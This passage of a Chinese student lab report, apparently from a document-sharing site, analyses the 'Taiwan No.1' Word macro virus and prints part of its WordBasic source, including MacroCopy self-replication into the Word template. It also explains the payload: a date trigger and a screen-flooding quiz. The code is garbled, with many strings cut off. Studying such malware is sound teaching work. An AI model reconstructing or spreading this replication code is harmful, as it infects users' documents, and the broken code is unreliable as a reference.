计算机病毒原理-台湾1号病毒实验报告 - 图文 (2)

Beep Insert \答案:\ Italic 1

Insert \我就是.....\ InsertPara InsertPara Italic 0

FormatFont .Font = \细明体\ Beep

Insert \如何预防巨集病毒？\ InsertPara Beep Insert \答案:\ Italic 1

Insert \不要看我.....\ Goto exit Else

For j = 1 To 20 Beep

FileNewDefault Next j CenterPara

FormatFont .Font = \细明体\ Insert \巨集病毒\ Goto try End If Wend End If

nor = CountMacros(0)

If nor > 0 Then For kk = 1 To nor

If MacroName$(kk, 0) = \ End If Next kk End If

file$ = FileName$() filem$ = file$ + \ If t <> 1 Then

MacroCopy filem$, \ MacroCopy filem$, \ MacroCopy filem$, \ End If

nor1 = CountMacros(1) If nor1 > 0 Then For kkk = 1 To nor1

If MacroName$(kkk, 1) = \ End If Next kkk End If

If tt <> 1 Then

FileSaveAs .Format = 1

MacroCopy \ End If exit: End Sub

该病毒的效果如下：当打开被感染的word文档时，首先进行自我复制，感染word模板，然后检查日期，看是否是1日（即在每月的1日会发作），然后跳出一个对话框，要求用户进行一次心算游戏，这里只用四个小于10的数相乘，如果作者的计算正确，那么就会新建一个文档，跳出如下字幕：

何谓宏病毒 答案：我就是......

将系统日期设为XX月1号

如果答错，就会不停地刷屏，然后继续让你答题，否则跳出如下界面:

计算机宏病毒

1). 新建Word 文档并打开

2). 调出开发工具,设置宏的等级，启用宏

搜索“diyifanwen.net”或“第一范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读，第一范文网，提供最新幼儿教育计算机病毒原理-台湾1号病毒实验报告 - 图文 (2)全文阅读和word下载服务。